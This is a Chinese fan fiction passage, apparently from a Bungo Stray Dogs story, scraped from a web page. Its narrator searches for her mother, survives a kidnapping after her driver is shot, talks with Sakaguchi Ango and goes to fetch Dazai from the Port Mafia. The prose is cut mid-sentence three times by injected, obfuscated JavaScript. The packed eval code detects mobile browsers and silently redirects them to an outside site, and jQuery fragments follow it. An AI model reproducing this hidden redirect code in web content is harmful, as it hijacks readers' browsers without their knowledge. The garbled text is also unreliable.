这个结果我并不意外。这并不是第一次失望,也不会是最后一次。我低下头,自嘲地笑了笑。
“所以黑网既然没有得出我需要的结果,就说明我要找的人要么是军方,政界,要么就不在横滨,对吗?”
中原中也点头,望着我问:“你要离开这里吗?”
是啊,离开这里,去别的地方找一找。如果横滨不存在我要寻找的人,那么我留在这里的意义又是什么呢?
滴滴声愈发急促,最后变为拉成长线的刺耳噪音。那些电脑已经燃尽了,发出一种如冲锋的斯巴达勇士向前然后被坦克碾压过去的无助呐喊。我被我的联想逗笑了。
中原中也看神经病一样嫌弃地望着我,我没解释,只是问:“欸,中也,我来到横滨已经多久啦?”
中原中也啧了一声:“三年,五年,至少我还没加入港/黑时你这家伙就已经在了。那时你就是这副样子,这么多年也挺耐活的。”
我不知道中原中也说得“这副样子”是指什么,也不关心,只是转头看向那一串串报错的屏幕,我的心情已经平静下来,说实话,这么多年,已经差不多麻木了。
异能特务科曾经答应过我,只要我攒够足够的钱或者达成他们的业绩,就给我打开一次匹配基因的权限。但那些业绩实在太多了,钱的尾数也看不见尽头,我只好一笔一笔地赚,一点一点地干,不知不觉,已经过去这么久了啊。
现在想一想,就连我曾经所在的城市的记忆都模糊不清了,只能想到那天我破破烂烂地缩在路边吃的那盒盒饭,有鸡排,很香,香到我从来没吃过那么好吃的东西,可惜后来就再也没有那般体验了。
我懒散地回忆着过去,那些记忆如同经过多年风雨灰尘侵打的毛玻璃,看不真切。所以我并没有深陷进去多久,也并没有对于过去、现在的彷徨和无助,我只是突然想到,如果我有妈妈,会不会就不至于来到横滨这种地方讨生活?
是不是就不用这么多年都在奔波,为了得到一次与全日本基因库匹配的机会,在枪林弹雨的城市里赚这么多年的钱?我明明只需要赚一点点,够花就好,然后在一个雨天,和妈妈坐在一间小屋里,吃着超市打折的火锅,肩膀靠着肩膀聊天,或者只是安静地听她的唠叨叮嘱,一边应承,一边泡一壶茶为她润嗓子。那场雨可以很大,因为茶会很暖和,我们什么都不需要做,仅仅那样便足够幸福。
“你说,如果我妈妈知道我在横滨摸爬滚打这么多年,会不会很心疼?”我轻轻地问。
中原中也没有回答我,他只是注视着我,眼神中是同情、不解、不赞同还有其他乱七八糟的东西。
我不是第一次见到他这样的表情,港/黑干部本不应该这般多愁善感,却屡屡露出这般情绪。也许就是因为这些情感吧,他总是会对我纵容些,即使我也算是看着他长大的。
想想第一次看见他,还是个充满活力干劲的少年,如今……气质变了许多,已经是一个大人了。
我用最真诚的语气道:“谢谢你啦,报酬我会发到你的卡上。”
他哼了一声:“几条代码而已,港/黑还不至于靠这个赚钱。”
我被他这富豪做派逗笑了,不知为何,心情轻松了些。
我暂时不会离开横滨。毕竟不论去哪里寻找,钱都是必要的,而只有横滨能够提供给我找遍全世界的力量。
中原中也似乎想要说什么,但是他比社长更懂我一点,所以并没有说出口,只是闲聊般,说他也曾想要找到自己的家人,虽然最后确实找到了,却并没有选择与他们相认。
这让我感到很惊讶,询问他为什么。
人的归属不只由血缘亲情决定,那时的他只遥遥看了眼亲生父母,便回到港/黑,回到属于他的地方。
我知道他的故事,但即便如此,我依然不确定中原中也对自己的定位是什么。
于是我问他:“港/黑是你的家吗?”
中原中也不假思索地点头:“嗯。”
我不知道该说什么,情感上并不理解他的想法,可是他脸上的笑容又让我说不出来话。
于是我对他说:“我没有家,这就是我们不一样的地方。”
中原中也若有所思,思得投入,电梯上也没有再开口。一直到离开港/黑前,他突然问我要不要去见见魏尔伦。
我不明所以,在我的情报中,这位五大干部之一向来不喜露面,平时也只有学生、首领和中原中也能见到他。我不知道中原中也的目的,却也没直接拒绝,只说:“有机会再去吧!”
中原中也没勉强,他似乎还在走神,我不知道他在想什么。
看在他今天帮我这么多的份上,邀请他来我家喝口茶。可惜干部日理万机,中原中也都张开口了,突然来了个电话。果不其然又接到一个任务。
我笑这电话简直是卡着点打来的,看来某人注
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543719|186680||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
定是劳碌命。中原中也摆摆手,没空说什么,只先派手下将我送回去。
他话音刚落,黑色轿车缓缓滑到我们身边,还是那个司机,何时宜的就像是地图固定刷新的NPC。
司机今天没有戴墨镜,露出的面庞甚至有点憨厚,眼睛只看向前挡风玻璃所映出的景象。我忽然意识到我好像从来没有仔细的这样看过他,毕竟他总是太沉默。不论什么时候,他都从不催促,也从不主动搭话,简直与他所驾驶的黑色轿车融为一体。
沉默在港/黑是一项美德,可惜我现在没有欣赏的余兴,胸口的情绪满溢到快要爆炸,疼得我迫切需要一个发泄口,于是在车辆驶出地下室,明亮的阳光从车窗洒进来后,我很读不懂空气地向他搭起话来。
我问他:“你是中原中也的手下吗?”
司机没回答。
我又问他:“你一年的工资一定很高吧?毕竟开车能开到像你这种境界的人,我到现在还没有见过第二个”
司机拐了个弯,没回答。
我不死心,继续吐豆子般开口:“你叫什么名字?你有家人吗?比如妈妈,你的妈妈知道你在做这个工作吗?啊,我不是质疑你,只是……你懂的,有的时候这一行确实很危险。”
在我锲而不舍的询问下,司机终于动摇了。他先是扶了一下车内后视镜,我看见镜子里的他露出有些无奈,但是并没有生气的表情。
“如果她知道我在这里工作,也许确实不会同意呢。”他虽然无奈,但还是露出个笑。这时候我才发现他确实是一个憨厚老实的人,怪不得平时要面无表情还要戴墨镜。
我问:“没考虑换个工作吗?”
他说:“挣得多,上司人也好,我一个开车的,去哪里不是开。”
我总觉得这不是他的真实理由,他应该隐瞒了什么,但是这份隐瞒不是恶意的,我从他的笑容能够看出来,他并不讨厌我。
不过,我们本来就是随便聊天,多问下去也冒昧,所以我没有刨根问底。
我只是有点好奇这个人和他母亲平时的交流又是怎样的呢?
我所认识的人中,很多人都已经没有什么亲人了。生活幸福美满的人不会接触到太多社会的黑暗面,而拥有能力的人又会把自己的隐私保护的很好,因此我对于亲情的接触更多只停留在小说当中,但是那种写着什么“少爷很久都没有这么笑过”的小说想来也没有什么参考的价值。
我觉得贸然问出这个问题不太礼貌,于是斟酌着想要找一个由头开口。
“令堂一定很爱你。”
司机又沉默下来。就在我以为他不会再回答我的问题时,他开口,声音小的让我以为只是车窗进来的风擦过我的耳垂。
“嗯。我也爱她。”
*
我的情绪逐渐平复下来,撑着下巴靠着车窗,百无聊赖地打量着外面的风景。横滨确实很美,即使它时刻充斥着冲突与暴力、流血与死亡。每时每刻,也许都会存在着一场亲人的生死离别。
我的异能不能挽救人命,只能回溯建筑,无法抹除人们内心的伤痛。说白了,它就是这座城市的创可贴,没有什么愈合的药效,顶多掩盖几分狼狈。
而就是这样,也会有想要保护创可贴的人,也会有想要撕碎创可贴的人。
刺耳的刹车声骤然破开,我被狠狠惯到另一边的座位,直到额头有温热的液体留下,腥味蔓延到我的唇缝里,我才勉强睁开眼,看见倒伏在方向盘上的身体。
就在两分钟前才和我聊起他母亲的司机先生。
方向盘骤然失灵,车辆更多的反应会是失控甚至侧翻,现在我能够安全无恙的坐在这里,只能是他在死前猛踩刹车保住我的性命。
我怔愣着望着那具软倒的身体,血液的热气很快便覆盖了车内的皮革味道。我伸出手,轻轻推了下他,那具身体,那具尸体就这样从方向盘上倒下来,用一种扭曲的姿势横在车内。那张憨厚的脸少了一半,一只眼睛还在睁着,直直地面对着我。
今天之前,我不曾仔细端详过他的面容,而这位沉默的先生,除了今天的破例外,也几乎没有说过任何一句话。直到现在,我仍不知道他的名字。
我坐在后座,任由血液浸透我的鞋子,悄悄问他:“需要我为你照顾你的母亲吗?”
他又没有回答我了。
密集的脚步声沉重的我即使在车内都能够听到。车窗外已经聚集了不少黑衣人,蝗虫一般将这辆车团团围住,一眼看不到外面。
5. 对峙
没人知道他们是什么时候出现,又是如何在短时间内包围这里的。
而能出动这么多人的势力,我心中很快浮现出一个名字,但又立刻排除了。因为他们围着车研究好半天,也没能打开车门。港/黑的车锁在横滨都是出了名的质量好,还附有内部人才能打开的指纹设置,外人轻易不能奈何。
唔,那他们会是什么人呢?
我觉得我的思维似乎跑掉了,漂浮在空中,直愣愣地看着他们费力气。这个时候应该想办法逃跑吧,我缓慢地想,可是脚部被温热的血液包裹住,像是被困在泡脚桶里不能动弹。
那些人开始拍窗户,还有用工具想要破开玻璃的,声音像是隔在很远的地方。我遥遥望了眼这些人群的厚度,粗略算一下,就算是拿着冲锋枪在外扫射,估计也需要一分钟才能破出一条通道。
他们对付我需要一分钟吗?我看向前方,这辆车的玻璃是防弹的,两侧玻璃也都完好无损,但是司机就是头部中弹而死,半个脑袋都炸在前挡风玻璃上,白色与红色交织滑下,模糊了前面那些黑衣人的身形。
按理说这种伤势,车不撞海里都不错了,不该还有力气踩刹车。是某种预感吗?在死亡来临前的那丝预感……我又有些走神起来。
咚咚。
外面人又不耐烦地敲了两下车窗。
这帮人也没有傻到真对着锁研究几十分钟,车辆出事,港/黑很快就会收到消息,他们表现得非常急迫,端起枪对着我,一颗子弹不知如何穿过车窗,命中我的肩膀。我被巨大的冲击力推在另一侧的车门上,在剧痛中望见他们用嘴型命令我下来。
果然,他们有着能够无视某种地形释放攻击的异能者。到现在还没有杀死我,想必是要活捉。
活捉好。
我本可以留在车上等待救援,反正那些人只要想保住我的命,就奈何不了我。可惜我有点赶时间,于是乖乖下了车。
脚刚沾地便有一把枪粗鲁地抵在我的后脑。我又想起前挡风玻璃上的半个脑袋。
我想抖抖脚上的血液,然而那把枪在我抬脚的同时又狠狠推了我一把,把我推了一个踉跄,只好作罢,问他们:“你们是哪个势力的?”
后面那人说了句废话:“你会知道的。”
我锲而不舍:“没关系的,你不用担心‘反派死于话多’的设定,咱们不是龙傲天。”
为首那人狞笑了一下,露出他凹凸不平的黄牙:“我也没和你聊小说。”
我略有无语,双脚已经冰凉下来的粘腻感也纠缠得我难受万分,这一切都令我颇为心累,但我还是好心提醒他们:“其实你们可以站在路边打车的,然后和我说,你们是委托人,趁机把我骗到小树林再打两梭子就行。”
这可是这么多年里应用最多也最有效的方法。
奈何好心被当成驴肝肺,我背后的人不屑地笑了一声。
我按捺住叹气的冲动,即使面前是一群蠢货,我也不能这么没有礼貌。我看向面前的领头人。他蒙着面罩,但已经是这些人中露出身体最多的人。他看了我一会儿,问我:“你没什么想说的吗?”
我张了张嘴,有些惊奇:“这不是我的台词吗?”
后面的枪警告似的顶了顶,戳得我脊背生疼。我讨饶举起手,无奈道:“好吧,我什么都愿意做,求你们放过我。”
我都说到这份上,头目看上去却更不爽了,当即就一抬手,砰地一声,巨响在我耳边炸开。小腿肚仿佛被扔了块石头,略有发热,鞋袜又是一阵湿热。我跌倒在地上,低下头才发现小腿已经被子弹打穿了个洞,麻木与灼烧感后知后觉涌上,剧痛姗姗来迟,我很快便疼得半跪在地上,小腿抽搐着,至于有没有发出惨叫,已经察觉不到了。
“这才对,认清你的处境,小姑娘。”
我很想说点什么,但太痛了,痛到呼吸都困难。拼命喘了两口气,我才有有点力气抬头。面罩男蹲下来看我,那副好像我欠他几百万的眉眼露出微笑。
“别这么紧张,只是请你去我们地盘上做客。我们老大很看中你的能力,劝你不要不知好歹。”
我肩膀抖擞几下,嘲讽地勾起嘴角。
面罩男皱起眉:“你笑什么?”
“不好意思……”太疼了,我缓了缓才开口,“没有考虑加入什么组织的想法。”
想招揽我卖命还这么对我,有这么一群蠢货在的地方加入会降智吧。
啪!
我被打的侧过脸,又被钳制着下巴扭回来。我不理解这个人到底是想让我看他还是不想让我看他。左脸很快发疼烫痒,但没关系,已经不重要了,我也不再理会对对方那些沉不住气的话语。
另一条腿又被打了一枪,这次是在膝窝。我的耳朵嗡嗡作响,两条腿止不住的发冷,如果不能得到及时的治疗,也许这辈子都站不起来了吧。
也是,这帮家伙只是想要我的异能,我站起来与否也不重要,如果真成了残疾人,还不得不依靠他们呢。
哈……这么一看,好像也有点小聪明。
失血带来的晕眩感很快袭上,还有不住的冷意。疼痛似乎已经到了很遥远的地方,包括对于手脚的知觉。我强撑着精神看向对方,虚弱地问。
“你们是一直在这里蹲点,就等着我经过吗?”
“那种三流手段,真是被看扁了啊。”我背后的,刚才发出不屑的男人嗤笑道,“只要有一个隐秘的远程监控异能者,再搭配上锚点,别说绑架你,就算是直接把子弹打到港/黑大楼对我们也不是难事。”
“是吗,异能者……真是强大啊。”我当然不信,他们要是有这手段,直接去干掉森鸥外多好。
不过真假也无所谓,这些话蕴含的意思已经足够。从他们的对话里,我也明白这些人基本就是受人指使,想来也榨不出多少情报。
我吐出口气,坐在地上,看着自己血流如注的双腿。血液的流速已经减缓,我的意识也逐渐模糊,说话也没什么力气。
就这样吧,到此为止。
我问他们:“这就是你们全部的人了吗?”
面罩男没拿我当回事,毕竟我已经完全没有行动能力了,说话也毫无顾忌:“哈,你也值得让老大派我们出动这么多人。要我说,就我一个便足够生擒你了。”
“这方面来说,我认为你比你老大明智。”我说,“你们知道我的异能是什么吗?”
面罩男正在给我伤口里塞纱布,以免我真的流血过多死掉。下手之粗鲁,疼得我眼冒金星。他没听清,让我不得不大声重复了一遍,才接口:“给建筑倒带的小把戏,实用性倒是不错。不过受到横滨这样重视,几大势力给你活佛似的供起来,也是挺可笑了。”
我微笑起来,虽然对这个家伙的印象不好,但这句话说得还不错。看在这句话的份上,我提醒了他一句。
“为什么在横滨这种血与火的地带,我这尊活佛还能活这么多年呢?”
我跪坐在地上,光点汇聚成的波浪呈圆圈状从我的裤腿和血液向周围扩散,这些人狞笑着将我包围,只当耳畔吹拂而过的微风,却没看见,这片地带的构造正在我的瞳孔深处发着光。
这句话很有用,面积周围人互相看看,看来还真的有些忌惮。面罩男不愧是领头的,脑袋都比别人少了一根筋:“我们很愿意听听你的光辉履历,在见到我们老大以后。”
我说:“3”
他没听清,看了我两秒,又在看见我的表情以后目露凶光,狠狠踩上我的伤口:“你最好给我老实点!”
我弓起身子,血液完全染红了纱布,并且没出息地大叫起来。这份大叫取悦了他们,但取悦不会令他们仁慈,面罩男又碾了碾我的伤口。
我眼前发黑,浑身冒汗,但
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543720|186680||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是喉咙稍稍缓过来:“2”
这次所有人都听见了,因为一瞬间有数十把枪同一时间指向我,甚至先于面罩男下达的指令。即使我是一个被剥夺了行动能力,手无寸铁的女人,这份未知的倒计时依然敲响了他们内心深处最警觉的东西。
“闭嘴!”面罩男没再逞嘴快,即使他对手下们的擅自行动表示了愤怒,但现在他终于愿意将更多注意力放到我身上了。
我是个好说话的人,他不让我数下去,我便真的停了嘴,并给他们最后一次机会:“你们的老大是谁?”
真奇妙,明明我才是快要流干血液,被众人团团围住的羔羊。此时此刻,攻守之地却产生了对调,由我发问,给予他们垂死挣扎的机会。
面罩男紧紧盯着我,色厉内荏道:“你也不用在这里嚣张。我们老大是一个能够玩弄所有人于鼓掌之中的,可怕的男人。你有什么花招大可以用出来,等见到他,你会后悔你现在的不识好歹。”
是吗,我很期待。
我最后问:“你还有什么想说的吗?”
面罩男脸色大变,而在人群中的某个黑衣人终于忍受不住,对我扣动了扳机。
他的反应很出色,很可惜,我眼中的光芒比子弹更快。
【异能力昨天你好】
只一瞬间,世界便安静了。
流着血液的黑色轿车、面罩男还有那些黑衣人,都消失的无影无踪。
这片以人潮为界限的空间被不可见的时光切割,徒留过去的影像留下。空旷的马路上,只有一辆24小时前于此经过的车辆静静定格在我脚边,那是一辆纯白色的吉普,驾驶位空无一人。正确时间线的这一辆也许已经被司机开到川崎去了,换言之,眼前这辆从过去延申而来的影子,就可以算我的。
我站起身,腿上的伤、脚边流淌的鲜血和身体的虚弱,全部都如同一场幻觉消失不见。
只剩下我独自一人站在空荡荡的,只有我和一辆白色吉普的马路上,微风拂过脸庞,昨天穿过的白色衣裙也被撩起,我按下裙摆,右手将碎发抚到耳侧。
*
港口黑手党的成员在我的信号发出后很快来到了现场。他们站位离我很远,让我以为我身上是不是还残留着什么味道。
但那是不可能的。我唤来其中一人,和他简单说些刚才的情况。对方很努力地立正聆听,但是外撇的脚尖依然说明他非常想要离开这里。
直到我说到那个司机,我问他们有没有人认识司机的母亲,我想要去看看她。
几人面面相觑,我以为是因为他们不认识他,但一个人告诉我:“松本先生的母亲,早就去世多年了。”
我停在原地许久,目光有些迷茫地望向黑色轿车原本存在的地方。
原来他姓松本。
“他……”我顿了顿,喉咙好像塞着一团棉花,“还有什么亲人吗?”
他们说:“没有,仅有一个哥哥,也在龙头战争时死去了。”
我突然不知道说什么。
“我没有给他留下全尸,你们该怎么进行遗物处理?”
“按照规定,应该统一收管,避免成为证据。不过自从坂口先生创造了人物志档案,这些遗物大多都会与他们的生平收纳柜放在一起,也算一种纪念。”
他突然懊恼地叹息一声,在我询问时,又忙称没事。
“只是提到了不该提到的人。”
我点头:“哦,坂口安吾。”
他重重地咳了咳嗓。
“总之,请交给我们吧。港口黑手党会妥善处理。”
*
也许人还是经不起念叨。
我开着吉普车回家时,正发现我们刚才聊起的某人站在我家门口。
坂口安吾,神秘而知性的男人。那些讳莫如深的港口黑手党们不会知道,他家就住在我家对面。
6. 变故
我邀请安吾来我的待客室。说是待客室,其实也只是多几张沙发,其余的和别的房间没有区别。书架摆满了所有墙壁,地上堆着乱七八糟的时兴小说,还有各种空白笔记本和各类笔,堆在书桌、地毯和各种角落,与开封或没开封的饮料凑在一起。如果不是有一只橘猫扑上来,这里也许会被人认作颓废小说家的居室也说不定。
现在想想,也不怪中岛敦刚来时露出那种表情。
安吾就比那孩子能忍多了,尽管他的视线依然在某些脏乱的,或者有大量猫毛的地方停留片刻,但非常懂得表情管理和闭上小嘴巴,避免了被我送客的结局。
我为他沏了一杯绿茶,等他开口。
坂口安吾有些惊讶地看了我一眼:“心情不好?”
我无意多说,只是道:“想大忙人还有下班回家的时候而已。”
这里的回家当然不是指我家,说来也巧,我第一次发现他是我对门的时候,我才应织田作之助的请求帮忙“解救”这位同伴,又亲眼目睹他反水离开,没想到还没过几天,就与这位同时打三份工的传奇打工人碰了面。
幸好我是个拿钱办事的中立派,不然多尴尬。
安吾倒是得体地表达了我的帮助,说多亏我回溯了下两层的炸弹,他们才有充足的时间逃离。我倒是不承这个情,以织田作之助的能力,即便没有我,他们也能够平安撤退,即使过程会惊险几分。
我的作用,更多是在那个皮球滚来的瞬间踢出去,还有威胁异能特务科的那帮家伙同归于尽。现在想来,安吾应当本来也没打算对织田作之助做什么,我的存在反倒差点没给他台阶下来。
我是个老实人啊,把这些都一五一十地都跟人解释了,结果安吾嗯嗯啊啊好半天,趁着我喝口水的功夫表示他还是要报答我。
我:“……”
后来我看出来了,他只是奉命过来监视我的生命状态,让我不要因为各种各样的意外就死掉了,顺便再充当一下官方与我的对接人。
你们异能特务科是没人了吗?逮着一个人薅啊,没看见这小伙儿的发际线又往后移了吗!
我对这种监视敬谢不敏,要不是这家伙多数时间都在各种旅馆留宿,只是隔三岔五回来一趟,我是一定要踹和田先生家的大门的。
我给绿茶添了半杯甜奶,在安吾抽搐的眼角前端起来喝了口:“所以,你这次来是做什么的?”
坂口安吾用茶杯遮掩住自己的神情,放下茶杯时他已经做好了表情管理,扶了扶眼镜:“监测器显示你受伤了,我过来看看。”
我点头:“然后呢。”
坂口安吾:“……”
他放缓语气,无奈地说:“这次是我们监护不力,异能特务科向你表示歉意,如果你愿意,我们会给予你相应赔偿。”
若是以往,我也就装聋作哑,收下这笔不菲的赔偿,反正这些事也不是他们造成的,我还能多拿一份钱。但今天我有点累,不想再和这些人虚与委蛇下去,干脆向后靠到沙发上。橘猫跳到我的膝盖上,我挠挠她的下巴,听着她发出咕噜咕噜声,又拍拍猫屁股把猫赶回卧室。
“我很奇怪,你们紧张我的生命体征,不惜给我戴上手环,接送看护,弄出有的没的订单留住我。我的异能就算对口,也不至于你们这般重视吧。”
安吾没想到我会突然挑明这些,有些惊讶地望着我。
想来他那颗聪明的大脑正在飞速运转着,想要找什么借口吧。今天经历太多事,我实在烦躁,等着安吾找好借口就把他踢出门。
可是出乎意料的是,安吾只是怔愣了一下,几乎是不假思索地开口。
“我们从来不单是因为你的异能才对你多加照拂。”
他从刚才起的心不在焉消失了,取而代之的是一种严肃的神情。我忽然意识到他是一名官方工作者,是一名愿意卧底港口Mafia的异能特务科成员。
他正襟危坐,眼神平静地望着我:“你本就不承担保护这个城市的义务,从身份上,你也只是横滨的一名普通市民。保护市民,本就是我们应承担的责任。”
我无动于衷,安吾也不恼,只是继续道:“你本没必要留在这里,趟横滨的浑水,不是吗?可你依然坚守数年,期间遭遇无数危险。不论是你是出于什么原因留下,我和异能特务科的各位都非常感激。龙头战争时期,如果没有你的异能,我们会有多少财产损失,想必不会是一个小数目。这些年来横滨因为您恢复了多少次生机,即使你不记得,我们依然铭记在档案里。”
我给安吾的绿茶中加了些甜牛奶,安吾捧起杯子,微笑起来。
“至于对你的额外保护与重视,我明白你的疑虑。可是你不妨看看,平日需要你出面的客户都是什么存在?在这种风险下,特殊看护是很正常的——特务科平日也对很多特殊异能者进行保护,只是那些也伴随着自由的牺牲。我不希望你也和他们一样,所以主动请缨定期汇报你的情况。”
我没有说话,他也沉默了一会儿。
安吾不再看我,而是低下头,官方式的笑容逐渐敛去。墙壁上的挂钟摇摆,发出规律的声响。这位知性神秘的男人难得露出有些颓丧的一面,大力抓了抓头发,给本就脆弱的发际线雪上加霜。
他浑善不觉,语气低沉,微微发哑:“还有,从私情上,我非常感谢你没有接受森先生的订单去回档Mimic总部,以便让织田作入土为安。”
安吾离开许久,我依然坐在柔软的沙发里。
不愧是能考上公务员的男人,话术就是好。晓之以理,动之以情。
但是一个真正为了我好的人,会不曾劝我离开横滨吗?我知道安吾的话不会是假话,但是到了他这个位置,做出的行动已经不是他个人的观念能够决定的了。就像他的确真正将太宰和织田作之助当作好友,但是立场不同,他终究还是先走一步,然后是织田作之助,最后是……
我收回思绪。
不过有一点是所有人的共识,就是在横滨生活对我来说是危险的。我不知道他们为什么会有这样的认知,我好歹是一个异能者,就算是个普通人,能在横滨生活这么多年,经历大大小小的事情还安然无恙,也足够说明自身的实力了。还是说,他们认为我这个人就不符合横滨生存的主基调?
我唤来橘猫,把她摊在沙发上。橘猫发出喵喵呜呜的抗议声,突然发起狠挠了我一把。我看着手背上的伤口,再看向被我钳制住动弹不得的橘猫,低下头发狠了忘情了没命了在她肚子上深吸一大口。
与所有人想的不同,其实我并不讨厌暴力与流血的世界。不必在乎人类社会的那些繁复规则,只需要最简单的实力便能决定的世界,胜者生,败者死,一如最原始的社会,纵然没有理想,至少还有求生欲驱赶着生命不断向前行,谁能说这不是世界最原本的模样?
我不是不想要和平,我也喜欢每天苦兮兮上班后能够在床上安心躺下,或者泡杯咖啡的安稳日子,但是那种生活,应当是要和亲人一起过的。
横滨的黑网并没有我妈妈或者其他亲人的痕迹,也许是他们正在其他的城市,也许已经离开了日本,也许已经死去,但只要有一丝希望,我就不会放弃。
人生还有很长,不着急,慢慢来就是。
横滨虽然天天都有各种犯罪发生,但是从个体单位来看,这也不是一件非常频繁的事。即使我这里因为接受收尾业务会和这些犯罪事件离得更近一些,也不是天天都会有意外情况。多数时候,我的确就是一个普通的上班族,完成些不痛不痒的业务以后就回到自己的小床上安心躺着看看小说。以往这种平稳能够持续三到五天,又会出现新的波折,但这次我难得休息了许久,什么大型业务都没出现,以至于连送信、找猫之类的委托都算是点插曲,这让我颇有些百无聊赖
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543721|186680||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起来了。
去找点事情做吧。我这样想着,脑海中升起几个目的地。
异能特务科不是允许我撒野的地方,我也不想触他们的眉头;港口Mafia那边也不是什么好去处,虽然中原中也不知为何对我比较宽容,但其他人我还不确定是如何——森鸥外那老东西总是想要把我招过去,软的硬的都干过,如非必要,我可不想进入他眼皮子底下。
那乐子多又比较守序的,就只有一个目的地了。
就在我准备买一些零食点心,以看望乱步的名义到侦探社捣乱一圈时,心有灵犀一般,我的门铃响起。
太宰失踪了。
侦探社对我委托,想要请我调查太宰到底去了哪里,就算是投河好歹看看是哪条河。按理说这应该是侦探社本行工作,但是中岛敦和泉镜花遭到了港口Mafia的袭击,目前音讯全无。他们人手不够,只能邀请我这个外行。
但是,我百思不得其解,邀请外行不是应该也邀请一个侦探之类的职业吗?我这个干收尾的,不说没有联系,也是毫不相关,专业不对口啊!
而且横滨那么大,我上哪里找个太宰去?
但是谷崎郑重地对我鞠了一躬,说如果真的有谁能够找到太宰,那么他们能够拜托到的人,也只有我了。
我更加迷茫了,我和侦探社打交道次数不少,但是每次太宰都不在,我还以为他身上或者我身上有什么比如“绝对不能出现在同一个画面”之类的设定。
还是说,难道侦探社是想用我排雷,只要我走遍横滨百分之九十九的地方,剩下那个就是太宰的所在的了?
我自认为已经看破了侦探社的目的,爽快地应承下来。谷崎松了口气,表示报酬不是问题,等找到人以后侦探社会一笔结清,说完转头就跑,我还没接话,人已经消失不见了。
年轻腿脚就是麻利啊。
我一边感叹,一边想这笔公费旅游先去哪里。
就从横滨最边界走起吧,要逛遍横滨可不容易!
我打电话给计程车,却发现手机已经有一个来电显示,因为我非工作时间喜欢静音,来电好几次也没通。要不要拨回去问问是谁呢?在我这么想着的时候,电话又来了。
我真的很想知道是谁这么有毅力,于是接起了电话。电话那边是一个无比耳熟的大叔,一听就有一种资本家的致郁感。
“真狠心啊,爱丽丝给你打了那么多次。”大叔可怜巴巴地说,声音夹得有点恶心。
我叹了口气,考虑到对方和我的时薪,直接跳过扯皮:“太宰在你那里?”
森鸥外惊奇道:“哦呀?你又知道了。”
我把手机用肩膀夹住,捞过外套拉开门,顺便打算把门口垃圾带下去,一探手却发现垃圾已经没有了。
估计是安吾出门时顺便给我扔了,没罚我款真是太感谢了。我这么想着,嘴巴也不停:“您老要是没事,也不会还专门给我打个电话。”
“真过分啊,我也还没老到那种程度吧。”
手机那边半真半假地抱怨着,我不想和这位首领大人打交道,每次和他有交集准没好事。然而他就像是卡着我的耐心底线一样,在我挂电话的前一秒说回正题。
“不打算把太宰赎回去吗?”
我出门打了个车,钻进去接着扯皮:“不想,您请便。”
“这么冷漠啊。”他失笑。
我不知道为什么找太宰赎太宰都要先来找我,我又不是他的监护人。但想到刚接的委托,还是多提了一嘴:“勒索费用记得找侦探社结清,我当中间商也行,分我五成就够了。”
“敢从港口Mafia手里抢钱,你是独一份。”
计程车刚好停下,我挂掉电话,看向窗外那个套着件白大褂,和其他带着小女儿的邋遢父亲没有差别的男人,颇为心累地摇下车窗。
“还有,车费你结。”
7. 巨轮
港口黑手党占据着的那五栋大楼,如钢铁一般屹立不倒,成为横滨不可分割的地标。而这只是地面上的冰山一角,他们真正的势力如同阳光下的阴影面蔓延在各地,涉足着交通、金融、司法等大大小小的领域,那些阴影的世界,是信义、暴力与私刑的天堂,敢背叛黑手党的,会受到千百倍的报复,就算沦落到地狱,也不能摆脱油炸烹煮之罚。
所以我一度以为我会看到太宰鲜血淋漓的模样,尽管这种可能性只占据百分之一,我也多少有点期待。然而当我正好目睹中原中也夹着腿发出娇滴滴的公主声线,大喊着“下不为例哦!”后,我的期待变成了会不会被灭口的担忧。
太宰还看热闹不嫌事大地高声打招呼:“呦,白,你来得正好,你看中也是不是很有当女子高中生的天赋?”
饶了我吧太宰大人。
幸好中原中也脾气够好,听到我是得到森鸥外允许过来,便没再多问,很快就离开了,临走前还叮嘱我一句应付不来随时去找他。
地下室只剩下我和太宰两人。
太宰很热情地给我分享了他刚才的经历,我不太感兴趣,但他说到威胁中原中也的话,我还是没忍住插嘴。
“你说五大干部会议?”
“嗯哼。”太宰哼着小调,笑得有点得瑟,“说来还要感谢你之前帮我送的那封信,让我死里逃生了呢。”
我就说怎么会有人突然要我送信。某种程度上,太宰也是利用我威胁了一把港/黑,同样的,如果我现在回去戳穿他,毁掉他的把戏,太宰也吃不了兜着走。
虽然我也没这么有闲心,相比起给太宰使绊子,我关注的是另一方面。
中原中也怕什么五大干部会议啊?
“五大干部里面,一个是中也,一个是带中也长大的和叶,一个是中也的亲哥哥,一个花钱买的凑数的,他就是先把你宰了再回去走流程也没问题啊。”
太宰微微摇头,似乎在叹息我的天真:“港口黑手党又不是家族企业。森先生还没死呢。”
